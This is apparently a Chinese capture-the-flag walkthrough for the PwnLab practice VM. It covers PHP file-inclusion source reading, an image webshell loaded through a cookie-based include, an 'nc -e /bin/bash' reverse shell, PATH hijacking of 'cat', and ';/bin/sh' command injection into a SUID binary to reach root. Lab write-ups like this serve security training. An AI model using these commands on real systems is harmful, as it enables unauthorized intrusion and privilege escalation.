pwnlab通关流程

news2024/12/26 23:16:52

pwnlab通关

关于文件包含,环境变量劫持的一个靶场

信息收集

靶机ip:192.168.112.133

开放端口
在这里插入图片描述

根据开放的端口信息决定从80web端口入手

目录信息

在这里插入图片描述

在images和upload路径存在目录遍历,config.php被渲染无法查看,upload.php需要先登录才能访问,尝试先从登录login.php界面入手

渗透阶段

访问

http://192.168.112.133

在这里插入图片描述

点击login,路径变为

http://192.168.112.133/?page=login

在这里插入图片描述

再访问下login.php

http://192.168.112.133/login.php

在这里插入图片描述

很明显的文件包含,利用php文件流进行读取,再进行base64解码

index.php

http://192.168.112.133/?page=convert.base64-encode/resource=index

在这里插入图片描述

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>
</body>
</html>

config.php

http://192.168.112.133/?page=convert.base64-encode/resource=config

在这里插入图片描述

<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

upload.php

http://192.168.112.133/?page=convert.base64-encode/resource=upload

在这里插入图片描述

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
	<body>
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
		</form>
	</body>
</html>
<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}

		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}

		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";
		} else {
			die('Error 4');
		}
	}
}

?>

在config.php中直接拿到了mysql的用户名密码,直接连接

在user表中拿到了3个用户及密码,密码经过base64加密

在这里插入图片描述

解密后

kent JWzXuBJJNy
mike SIfdsTEn6I
kane iSv5Ym2GRo

有了账号密码后直接在登录页面进行登录,登录后会显示文件上传界面

在这里插入图片描述

发包拦截,对upload.php进行代码审计发现经过了后缀白名单,mime类型等一些校验导致无法进行后缀绕过。只能上传图片马,想通过文件包含的方式getshell,但是在之前index.php页面中的include是这样的,如果包含的是xxx.jpg最后会被拼接成xxx.jpg.php文件不存在

if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}

但在index.php中发现了另一个文件包含,可以利用Cookie进行getshell

if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}

首先绕过检测上传图片马,得到路径

在这里插入图片描述

蚁剑连接,在header中设置cookie的lang字段

在这里插入图片描述

在这里插入图片描述

成功getshell

由于蚁剑是半交互式的,防止后面提权可能会用不了直接shell reverse到本机

这里采用nc工具,本机监听7777端口

nc -lvvp 7777

蚁剑窗口

nc -e /bin/bash 192.168.112.130 7777

反弹成功

在这里插入图片描述

进入交互式shell

python -c 'import pty;pty.spawn("/bin/bash");'

在这里插入图片描述

提权阶段

当前用户为www-data,查找当前用户可提权的suid命令

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

没有可以利用的,切换用户kent没找到

su kent

切换mike,不让登录

su mike

在这里插入图片描述

登录kane

su kane

还是查找suid命令,在kane的用户目录下找到了一个可执行文件

在这里插入图片描述

cd到该目录下进行查看,是一个ELF文件

在这里插入图片描述

strings msgmike

在这里插入图片描述

在msgmike中发现了一条cat语句

cat /home/mike/msg.txt

我们利用环境变量进行劫持cat

在/home/kane目录下新建cat,给予执行权限,写入反弹,更改环境变量

touch cat
chmod +x cat
echo "/bin/sh" > cat
export PATH=/home/kane:$PATH

这样执行msgmike执行到cat语句会直接反弹到更高的权限

./msgmike

在这里插入图片描述

继续进入交互式shell

python -c 'import pty;pty.spawn("/bin/bash");'

在mike用户下查找可执行的suid命令,在mike用户下发现了一个msg2root的可执行文件

在这里插入图片描述

cd到该目录下

strings msg2root

在这里插入图片描述

在msg2root文件中发现了一条echo命令,%s是我们写入的字符串

/bin/echo %s >> /root/messages.txt

我们直接利用;分割反弹shell

;/bin/sh

首先运行msg2root

./msg2root

在这里插入图片描述

成功提权到root

cd到root目录下查看flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/380483.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++实现文本界面英语词典

C实现文本界面英语词典 C实现文本界面的英语词典&#xff0c;能在Dev-C运行。提供两种方案&#xff1a;一是简单仅查词功能&#xff1b;二是具有查词、添加、删除功能&#xff0c;具有选择菜单&#xff0c;值得一提的是&#xff0c;本程序对用户输入菜单选项序号做了检测&#…

Zabbix“专家坐诊”第183期问答汇总

问题一 Q&#xff1a;老师&#xff0c;请问一下zabbix采集的数据怎么过滤&#xff0c;获取数据是nottime20:30 notafter3&#xff0c;怎么过滤出netafter3 &#xff1f;谢谢。 A&#xff1a;过滤器设置如下图。 问题二 Q&#xff1a;大佬&#xff0c;请问一下被管节点部署了…

视觉Slam十四讲笔记

视觉SLAM十四讲 ch1~2 虚拟机部分指令解析在其他文件中进行引用该库编译器参考链接&#xff1a;虚拟机部分 CMakeList.txt文件是cmake用来生成Makefile文件需要的一个描述编译链接的规则文件 指令解析 &#xff08;1&#xff09;PROJECT(projectname [CXX] [C] [Java]): 该…

力扣(LeetCode)427. 建立四叉树(2023.03.01)

给你一个 n * n 矩阵 grid &#xff0c;矩阵由若干 0 和 1 组成。请你用四叉树表示该矩阵 grid 。 你需要返回能表示矩阵的 四叉树 的根结点。 注意&#xff0c;当 isLeaf 为 False 时&#xff0c;你可以把 True 或者 False 赋值给节点&#xff0c;两种值都会被判题机制 接受…

Elasticsearch进阶之(核心概念、系统架构、路由计算、倒排索引、分词、Kibana)

Elasticsearch进阶之&#xff08;核心概念、系统架构、路由计算、倒排索引、分词、Kibana&#xff09; 1、核心概念&#xff1a; 1.1、索引&#xff08;Index&#xff09; 一个索引就是一个拥有几分相似特征的文档的集合。比如说&#xff0c;你可以有一个客户数据的索引&…

能源消耗监测管理系统,在建筑节能中起到哪些重要作用?

能源是一切活动的基础更是社会经济发展的命脉&#xff0c;但随着经济的建设&#xff0c;能源资源的消耗也越来越大&#xff0c;其中建筑是最大的消耗者。水、电、气等能源的消耗量逐年增长&#xff0c;这种能源并不是取之不尽用之不竭的&#xff0c;能源的日益紧张和环境恶化&a…

IM即时通讯开发MQ消息队列

消息是互联网信息的一种表现形式&#xff0c;是人利用计算机进行信息传递的有效载体&#xff0c;比如即时通讯网坛友最熟悉的即时通讯消息就是其具体的表现形式之一。 消息从发送者到接收者的典型传递方式有两种&#xff1a; 1&#xff09;一种我们可以称为即时消息&#xff1a…

【FATE联邦学习】Fateboard的使用

fateboard文档 https://fate.fedai.org/fateboard/ github Fateboard文档 https://github.com/FederatedAI/FATE-Board/blob/master/README-CN.md 背景 Fateboard是FATE框架的任务看板。 在配置FATE时&#xff0c;Fateboard一般是被安装好了的&#xff0c;安装过程查看这里 A…

你知道如何获取全国省市街道区域信息吗?

随着互联网和快递行业的飞速发展&#xff0c;在中国广袤的大地上&#xff0c;全国行政区域规划星罗棋布&#xff0c;要查询一个行政单元如果不运用科技的手段查询可是非常的不易&#xff0c;现在&#xff0c;全国行政区划查询API的作用越来越大&#xff0c;它可以帮助我们对地址…

比特数据结构与算法(第四章_下)二叉树OJ(力扣:144,965,104,226,100,572)

144. 二叉树的前序遍历难度简单给你二叉树的根节点 root &#xff0c;返回它节点值的 前序 遍历。示例 1&#xff1a;输入&#xff1a;root [1,null,2,3]输出&#xff1a;[1,2,3]示例 2&#xff1a;输入&#xff1a;root [ ]输出&#xff1a;[ ]示例 3&#xff1a;输入&#…

【react】react18的学习

一、安装 $ create-react-app [Project name]默认支持sass 二、核心依赖 react&#xff1a;react 核心 react-dom&#xff1a;用于开发渲染web 应用&#xff1b; react-scripts&#xff1a;封装webpack服务&#xff1b; "start": "react-scripts start&quo…

网络应用之html 的基本结构

html 的基本结构学习目标能够写出html的基本结构1. 结构代码<!DOCTYPE html><html><head><metacharset"UTF-8"><title>网页标题</title></head><body>网页显示内容</body></html>第一行<!DOCTYPE ht…

认识Cesium旋转大小变量

前文代码中有如下&#xff1b;矩阵乘以旋转大小&#xff0c;还放入mat&#xff1b; Cesium.Matrix4.multiply(mat, rotationX, mat); 初看以为rotationX是一个数值&#xff0c;因为矩阵可以和数相乘&#xff1b; 但是看它的代码&#xff0c;rotationX是由一长串代码获得的&a…

计算机网络高频知识点(二)

目录 一、三次握手 二、为什么是三次握手而不是两次握手 三、四次挥手 四、挥手为什么需要四次 五、websocket 1、是什么 2、原理 3、websocket与http的关系 4、特点 六、http结构 七、HTTP头都有哪些字段 八、http1.0和http1.1&#xff0c;还有http2有什么区别 九…

同样做软件测试,和月薪30K 的学弟聊了一晚上,我心态崩了...

过去的一年&#xff0c;你攒到钱了吗&#xff1f; 在一条话题为“今年你存了多少钱”的微博下&#xff0c;网友们贡献了近 3000 条“成绩单”&#xff0c;大多数称自己没攒到钱&#xff0c;甚至负债累累。 攒钱&#xff0c;为什么就这么难呢&#xff1f; 工资水平赶不上房价…

TDengine | 03 | TDengine2.4.0监控部署

1 前提条件 1.1 服务 TDengine 集群已经部署并正常运行taosAdapter 已经安装并正常运行TDengine 集群 REST API 地址&#xff0c;如&#xff1a;http://tdengine:6041TDengine 集群认证信息&#xff0c;做监控用的用户名和密码 1.2 版本 Linux : Ubuntu 18.04.5 LTS TDengi…

MySQL主从复制+读写分离详细方案

MySQL主从复制读写分离详细方案一、MySQL主从复制1.1mysql的复制类型1.2mysql主从复制的工作过程1.3MySQL的四种同步方式1.3.1异步复制&#xff08;Async Replication&#xff09;1.3.2同步复制&#xff08;Sync Replication&#xff09;1.3.3半同步复制&#xff08;Semi-Sync …

2023上半年软考中/高级报名+学习备考+考试重点

软考是全国计算机技术与软件专业技术资格&#xff08;水平&#xff09;考试&#xff08;简称软考&#xff09;项目&#xff0c;是由国家人力资源和社会保障部、工业和信息化部共同组织的国家级考试&#xff0c;既属于国家职业资格考试&#xff0c;又是职称资格考试。 系统集成…

CentOS7.6快速安装Docker

快速安装 官网安装参考手册&#xff1a;https://docs.docker.com/install/linux/docker-ce/centos/ 确定你是CentOS7及以上版本,yum是在线安装! [rootVM-4-5-centos ~]# cat /etc/redhat-releaseCentOS Linux release 7.6.1810 (Core)接下来您只管自上向下执行命令即可&#x…

阿里云服务器ECS适用于哪些应用场景?

云服务器ECS具有广泛的应用场景&#xff0c;既可以作为Web服务器或者应用服务器单独使用&#xff0c;又可以与其他阿里云服务集成提供丰富的解决方案。 云服务器ECS的典型应用场景包括但不限于本文描述&#xff0c;您可以在使用云服务器ECS的同时发现云计算带来的技术红利。 阿…